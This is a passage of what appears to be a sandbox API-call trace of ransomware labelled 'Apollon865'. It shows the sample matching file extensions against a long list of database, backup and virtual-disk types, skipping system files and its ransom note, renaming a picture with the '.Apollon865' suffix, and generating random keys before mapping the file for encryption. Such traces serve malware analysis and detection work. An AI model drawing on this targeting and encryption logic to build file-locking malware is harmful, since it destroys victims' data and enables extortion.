	[0041.768] lstrcmpiW (lpString1="jpg", lpString2="nyf") returned -1
	[0041.768] lstrlenW (lpString="odb") returned 3
	[0041.768] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0041.768] lstrlenW (lpString="odb") returned 3
	[0041.768] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0041.768] lstrlenW (lpString="oqy") returned 3
	[0041.768] lstrcmpiW (lpString1="jpg", lpString2="oqy") returned -1
	[0041.768] lstrlenW (lpString="ora") returned 3
	[0041.768] lstrcmpiW (lpString1="jpg", lpString2="ora") returned -1
	[0041.768] lstrlenW (lpString="orx") returned 3
	[0041.768] lstrcmpiW (lpString1="jpg", lpString2="orx") returned -1
	[0041.768] lstrlenW (lpString="owc") returned 3
	[0041.768] lstrcmpiW (lpString1="jpg", lpString2="owc") returned -1
	[0041.768] lstrlenW (lpString="p96") returned 3
	[0041.768] lstrcmpiW (lpString1="jpg", lpString2="p96") returned -1
	[0041.768] lstrlenW (lpString="p97") returned 3
	[0041.768] lstrcmpiW (lpString1="jpg", lpString2="p97") returned -1
	[0041.768] lstrlenW (lpString="pan") returned 3
	[0041.768] lstrcmpiW (lpString1="jpg", lpString2="pan") returned -1
	[0041.768] lstrlenW (lpString="pdb") returned 3
	[0041.768] lstrcmpiW (lpString1="jpg", lpString2="pdb") returned -1
	[0041.768] lstrlenW (lpString="pdm") returned 3
	[0041.769] lstrcmpiW (lpString1="jpg", lpString2="pdm") returned -1
	[0041.769] lstrlenW (lpString="pnz") returned 3
	[0041.769] lstrcmpiW (lpString1="jpg", lpString2="pnz") returned -1
	[0041.769] lstrlenW (lpString="qry") returned 3
	[0041.769] lstrcmpiW (lpString1="jpg", lpString2="qry") returned -1
	[0041.769] lstrlenW (lpString="qvd") returned 3
	[0041.769] lstrcmpiW (lpString1="jpg", lpString2="qvd") returned -1
	[0041.769] lstrlenW (lpString="rbf") returned 3
	[0041.769] lstrcmpiW (lpString1="jpg", lpString2="rbf") returned -1
	[0041.769] lstrlenW (lpString="rctd") returned 4
	[0041.769] lstrcmpiW (lpString1=".jpg", lpString2="rctd") returned -1
	[0041.769] lstrlenW (lpString="rod") returned 3
	[0041.769] lstrcmpiW (lpString1="jpg", lpString2="rod") returned -1
	[0041.769] lstrlenW (lpString="rodx") returned 4
	[0041.769] lstrcmpiW (lpString1=".jpg", lpString2="rodx") returned -1
	[0041.769] lstrlenW (lpString="rpd") returned 3
	[0041.769] lstrcmpiW (lpString1="jpg", lpString2="rpd") returned -1
	[0041.769] lstrlenW (lpString="rsd") returned 3
	[0041.769] lstrcmpiW (lpString1="jpg", lpString2="rsd") returned -1
	[0041.769] lstrlenW (lpString="sas7bdat") returned 8
	[0041.769] lstrcmpiW (lpString1="sert.jpg", lpString2="sas7bdat") returned 1
	[0041.769] lstrlenW (lpString="sbf") returned 3
	[0041.769] lstrcmpiW (lpString1="jpg", lpString2="sbf") returned -1
	[0041.769] lstrlenW (lpString="scx") returned 3
	[0041.769] lstrcmpiW (lpString1="jpg", lpString2="scx") returned -1
	[0041.769] lstrlenW (lpString="sdb") returned 3
	[0041.769] lstrcmpiW (lpString1="jpg", lpString2="sdb") returned -1
	[0041.769] lstrlenW (lpString="sdc") returned 3
	[0041.769] lstrcmpiW (lpString1="jpg", lpString2="sdc") returned -1
	[0041.769] lstrlenW (lpString="sdf") returned 3
	[0041.769] lstrcmpiW (lpString1="jpg", lpString2="sdf") returned -1
	[0041.769] lstrlenW (lpString="sis") returned 3
	[0041.769] lstrcmpiW (lpString1="jpg", lpString2="sis") returned -1
	[0041.769] lstrlenW (lpString="spq") returned 3
	[0041.769] lstrcmpiW (lpString1="jpg", lpString2="spq") returned -1
	[0041.769] lstrlenW (lpString="te") returned 2
	[0041.769] lstrcmpiW (lpString1="pg", lpString2="te") returned -1
	[0041.769] lstrlenW (lpString="teacher") returned 7
	[0041.770] lstrcmpiW (lpString1="ert.jpg", lpString2="teacher") returned -1
	[0041.770] lstrlenW (lpString="tmd") returned 3
	[0041.770] lstrcmpiW (lpString1="jpg", lpString2="tmd") returned -1
	[0041.770] lstrlenW (lpString="tps") returned 3
	[0041.770] lstrcmpiW (lpString1="jpg", lpString2="tps") returned -1
	[0041.770] lstrlenW (lpString="trc") returned 3
	[0041.770] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0041.770] lstrlenW (lpString="trc") returned 3
	[0041.770] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0041.770] lstrlenW (lpString="trm") returned 3
	[0041.770] lstrcmpiW (lpString1="jpg", lpString2="trm") returned -1
	[0041.770] lstrlenW (lpString="udb") returned 3
	[0041.770] lstrcmpiW (lpString1="jpg", lpString2="udb") returned -1
	[0041.770] lstrlenW (lpString="udl") returned 3
	[0041.770] lstrcmpiW (lpString1="jpg", lpString2="udl") returned -1
	[0041.770] lstrlenW (lpString="usr") returned 3
	[0041.770] lstrcmpiW (lpString1="jpg", lpString2="usr") returned -1
	[0041.770] lstrlenW (lpString="v12") returned 3
	[0041.770] lstrcmpiW (lpString1="jpg", lpString2="v12") returned -1
	[0041.770] lstrlenW (lpString="vis") returned 3
	[0041.770] lstrcmpiW (lpString1="jpg", lpString2="vis") returned -1
	[0041.770] lstrlenW (lpString="vpd") returned 3
	[0041.770] lstrcmpiW (lpString1="jpg", lpString2="vpd") returned -1
	[0041.770] lstrlenW (lpString="vvv") returned 3
	[0041.770] lstrcmpiW (lpString1="jpg", lpString2="vvv") returned -1
	[0041.770] lstrlenW (lpString="wdb") returned 3
	[0041.770] lstrcmpiW (lpString1="jpg", lpString2="wdb") returned -1
	[0041.770] lstrlenW (lpString="wmdb") returned 4
	[0041.770] lstrcmpiW (lpString1=".jpg", lpString2="wmdb") returned -1
	[0041.770] lstrlenW (lpString="wrk") returned 3
	[0041.770] lstrcmpiW (lpString1="jpg", lpString2="wrk") returned -1
	[0041.770] lstrlenW (lpString="xdb") returned 3
	[0041.770] lstrcmpiW (lpString1="jpg", lpString2="xdb") returned -1
	[0041.770] lstrlenW (lpString="xld") returned 3
	[0041.770] lstrcmpiW (lpString1="jpg", lpString2="xld") returned -1
	[0041.770] lstrlenW (lpString="xmlff") returned 5
	[0041.770] lstrcmpiW (lpString1="t.jpg", lpString2="xmlff") returned -1
	[0041.770] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg.Apollon865") returned 62
	[0041.771] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg.Apollon865" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg.apollon865"), dwFlags=0x1) returned 1
	[0041.771] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg.Apollon865" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0041.771] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=845941) returned 1
	[0041.771] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0041.772] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0041.772] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0041.772] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0041.773] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0041.773] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0041.773] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xceb80, lpName=0x0) returned 0x150
	[0041.774] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xceb80) returned 0x2a80000
	[0041.826] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0041.826] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0041.826] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0041.826] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0041.826] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0041.827] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0041.827] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0041.827] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0041.827] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0041.827] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599f60
	[0041.827] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0041.827] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599f60 | out: hHeap=0x580000) returned 1
	[0041.827] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0041.827] UnmapViewOfFile (lpBaseAddress=0x2a80000) returned 1
	[0041.836] CloseHandle (hObject=0x150) returned 1
	[0041.836] CloseHandle (hObject=0x15c) returned 1
	[0041.851] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0041.851] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0041.851] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0041.858] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0041.858] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0041.858] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0041.858] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0041.858] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0041.858] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0041.858] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0041.858] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0041.858] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0041.858] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0041.858] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0041.859] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0041.859] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0041.859] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0041.859] lstrlenW (lpString="desktop.ini") returned 11
	[0041.859] lstrlenW (lpString="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg") returned 51
	[0041.859] lstrcpyW (in: lpString1=0x119e65a, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0041.859] lstrlenW (lpString="desktop.ini") returned 11
	[0041.859] lstrlenW (lpString="Apollon865") returned 10
	[0041.859] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0041.859] lstrlenW (lpString=".dll") returned 4
	[0041.859] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0041.859] lstrlenW (lpString=".lnk") returned 4
	[0041.859] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0041.859] lstrlenW (lpString=".ini") returned 4
	[0041.859] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0041.859] lstrlenW (lpString=".sys") returned 4
	[0041.859] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0041.859] lstrlenW (lpString="desktop.ini") returned 11
	[0041.859] lstrlenW (lpString="bak") returned 3
	[0041.859] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0041.859] lstrlenW (lpString="ba_") returned 3
	[0041.859] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0041.859] lstrlenW (lpString="dbb") returned 3
	[0041.859] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0041.859] lstrlenW (lpString="vmdk") returned 4
	[0041.859] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0041.859] lstrlenW (lpString="rar") returned 3
	[0041.859] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0041.859] lstrlenW (lpString="zip") returned 3
	[0041.859] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0041.859] lstrlenW (lpString="tgz") returned 3
	[0041.859] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0041.859] lstrlenW (lpString="vbox") returned 4
	[0041.859] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0041.859] lstrlenW (lpString="vdi") returned 3
	[0041.859] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0041.859] lstrlenW (lpString="vhd") returned 3
	[0041.859] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0041.860] lstrlenW (lpString="vhdx") returned 4
	[0041.860] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0041.860] lstrlenW (lpString="avhd") returned 4
	[0041.860] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0041.860] lstrlenW (lpString="db") returned 2
	[0041.860] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0041.860] lstrlenW (lpString="db2") returned 3
	[0041.860] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0041.860] lstrlenW (lpString="db3") returned 3
	[0041.860] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0041.860] lstrlenW (lpString="dbf") returned 3
	[0041.860] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0041.860] lstrlenW (lpString="mdf") returned 3
	[0041.860] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0041.860] lstrlenW (lpString="mdb") returned 3
	[0041.860] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0041.860] lstrlenW (lpString="sql") returned 3
	[0041.860] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0041.860] lstrlenW (lpString="sqlite") returned 6
	[0041.860] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0041.860] lstrlenW (lpString="sqlite3") returned 7
	[0041.860] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0041.860] lstrlenW (lpString="sqlitedb") returned 8
	[0041.860] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0041.860] lstrlenW (lpString="xml") returned 3
	[0041.860] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0041.860] lstrlenW (lpString="$er") returned 3
	[0041.860] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0041.860] lstrlenW (lpString="4dd") returned 3
	[0041.860] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0041.860] lstrlenW (lpString="4dl") returned 3
	[0041.860] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0041.860] lstrlenW (lpString="^^^") returned 3
	[0041.860] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0041.860] lstrlenW (lpString="abs") returned 3
	[0041.860] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0041.860] lstrlenW (lpString="abx") returned 3
	[0041.860] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0041.860] lstrlenW (lpString="accdb") returned 5
	[0041.861] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0041.861] lstrlenW (lpString="accdc") returned 5
	[0041.861] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0041.861] lstrlenW (lpString="accde") returned 5
	[0041.861] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0041.861] lstrlenW (lpString="accdr") returned 5
	[0041.861] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0041.861] lstrlenW (lpString="accdt") returned 5
	[0041.861] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0041.861] lstrlenW (lpString="accdw") returned 5
	[0041.861] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0041.861] lstrlenW (lpString="accft") returned 5
	[0041.861] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0041.861] lstrlenW (lpString="adb") returned 3
	[0041.861] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0041.861] lstrlenW (lpString="adb") returned 3
	[0041.861] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0041.861] lstrlenW (lpString="ade") returned 3
	[0041.861] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0041.861] lstrlenW (lpString="adf") returned 3
	[0041.861] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0041.861] lstrlenW (lpString="adn") returned 3
	[0041.861] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0041.861] lstrlenW (lpString="adp") returned 3
	[0041.861] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0041.861] lstrlenW (lpString="alf") returned 3
	[0041.861] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0041.861] lstrlenW (lpString="ask") returned 3
	[0041.861] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0041.861] lstrlenW (lpString="btr") returned 3
	[0041.861] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0041.861] lstrlenW (lpString="cat") returned 3
	[0041.861] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0041.861] lstrlenW (lpString="cdb") returned 3
	[0041.861] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0041.861] lstrlenW (lpString="ckp") returned 3
	[0041.861] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0041.861] lstrlenW (lpString="cma") returned 3
	[0041.862] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0041.862] lstrlenW (lpString="cpd") returned 3
	[0041.862] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0041.862] lstrlenW (lpString="dacpac") returned 6
	[0041.862] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0041.862] lstrlenW (lpString="dad") returned 3
	[0041.862] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0041.862] lstrlenW (lpString="dadiagrams") returned 10
	[0041.862] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0041.862] lstrlenW (lpString="daschema") returned 8
	[0041.862] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0041.862] lstrlenW (lpString="db-journal") returned 10
	[0041.862] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0041.862] lstrlenW (lpString="db-shm") returned 6
	[0041.862] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0041.862] lstrlenW (lpString="db-wal") returned 6
	[0041.862] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0041.862] lstrlenW (lpString="dbc") returned 3
	[0041.862] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0041.862] lstrlenW (lpString="dbs") returned 3
	[0041.862] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0041.862] lstrlenW (lpString="dbt") returned 3
	[0041.862] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0041.862] lstrlenW (lpString="dbv") returned 3
	[0041.862] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0041.862] lstrlenW (lpString="dbx") returned 3
	[0041.862] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0041.862] lstrlenW (lpString="dcb") returned 3
	[0041.862] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0041.862] lstrlenW (lpString="dct") returned 3
	[0041.862] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0041.862] lstrlenW (lpString="dcx") returned 3
	[0041.862] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0041.862] lstrlenW (lpString="ddl") returned 3
	[0041.862] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0041.862] lstrlenW (lpString="dlis") returned 4
	[0041.862] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0041.862] lstrlenW (lpString="dp1") returned 3
	[0041.863] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0041.863] lstrlenW (lpString="dqy") returned 3
	[0041.863] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0041.863] lstrlenW (lpString="dsk") returned 3
	[0041.863] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0041.863] lstrlenW (lpString="dsn") returned 3
	[0041.863] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0041.863] lstrlenW (lpString="dtsx") returned 4
	[0041.863] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0041.863] lstrlenW (lpString="dxl") returned 3
	[0041.863] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0041.863] lstrlenW (lpString="eco") returned 3
	[0041.863] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0041.863] lstrlenW (lpString="ecx") returned 3
	[0041.863] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0041.863] lstrlenW (lpString="edb") returned 3
	[0041.863] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0041.863] lstrlenW (lpString="epim") returned 4
	[0041.863] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0041.863] lstrlenW (lpString="fcd") returned 3
	[0041.863] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0041.863] lstrlenW (lpString="fdb") returned 3
	[0041.863] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0041.863] lstrlenW (lpString="fic") returned 3
	[0041.863] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0041.863] lstrlenW (lpString="flexolibrary") returned 12
	[0041.863] lstrlenW (lpString="fm5") returned 3
	[0041.863] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0041.863] lstrlenW (lpString="fmp") returned 3
	[0041.863] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0041.863] lstrlenW (lpString="fmp12") returned 5
	[0041.863] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0041.863] lstrlenW (lpString="fmpsl") returned 5
	[0041.863] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0041.863] lstrlenW (lpString="fol") returned 3
	[0041.863] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0041.863] lstrlenW (lpString="fp3") returned 3
	[0041.864] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0041.864] lstrlenW (lpString="fp4") returned 3
	[0041.864] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0041.864] lstrlenW (lpString="fp5") returned 3
	[0041.864] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0041.864] lstrlenW (lpString="fp7") returned 3
	[0041.864] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0041.864] lstrlenW (lpString="fpt") returned 3
	[0041.864] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0041.864] lstrlenW (lpString="frm") returned 3
	[0041.864] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0041.864] lstrlenW (lpString="gdb") returned 3
	[0041.864] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0041.864] lstrlenW (lpString="gdb") returned 3
	[0041.864] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0041.864] lstrlenW (lpString="grdb") returned 4
	[0041.864] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0041.864] lstrlenW (lpString="gwi") returned 3
	[0041.864] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0041.864] lstrlenW (lpString="hdb") returned 3
	[0041.864] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0041.864] lstrlenW (lpString="his") returned 3
	[0041.864] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0041.864] lstrlenW (lpString="ib") returned 2
	[0041.864] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0041.864] lstrlenW (lpString="idb") returned 3
	[0041.864] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0041.864] lstrlenW (lpString="ihx") returned 3
	[0041.864] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0041.864] lstrlenW (lpString="itdb") returned 4
	[0041.864] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0041.864] lstrlenW (lpString="itw") returned 3
	[0041.864] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0041.864] lstrlenW (lpString="jet") returned 3
	[0041.864] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0041.864] lstrlenW (lpString="jtx") returned 3
	[0041.864] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0041.864] lstrlenW (lpString="kdb") returned 3
	[0041.865] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0041.865] lstrlenW (lpString="kexi") returned 4
	[0041.865] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0041.865] lstrlenW (lpString="kexic") returned 5
	[0041.865] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0041.865] lstrlenW (lpString="kexis") returned 5
	[0041.865] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0041.865] lstrlenW (lpString="lgc") returned 3
	[0041.865] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0041.865] lstrlenW (lpString="lwx") returned 3
	[0041.865] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0041.865] lstrlenW (lpString="maf") returned 3
	[0041.865] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0041.865] lstrlenW (lpString="maq") returned 3
	[0041.865] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0041.865] lstrlenW (lpString="mar") returned 3
	[0041.865] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0041.865] lstrlenW (lpString="marshal") returned 7
	[0041.865] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0041.865] lstrlenW (lpString="mas") returned 3
	[0041.865] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0041.865] lstrlenW (lpString="mav") returned 3
	[0041.865] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0041.865] lstrlenW (lpString="maw") returned 3
	[0041.865] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0041.865] lstrlenW (lpString="mdbhtml") returned 7
	[0041.865] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0041.865] lstrlenW (lpString="mdn") returned 3
	[0041.865] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0041.865] lstrlenW (lpString="mdt") returned 3
	[0041.865] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0041.865] lstrlenW (lpString="mfd") returned 3
	[0041.865] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0041.865] lstrlenW (lpString="mpd") returned 3
	[0041.865] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0041.865] lstrlenW (lpString="mrg") returned 3
	[0041.865] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0041.865] lstrlenW (lpString="mud") returned 3
	[0041.866] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
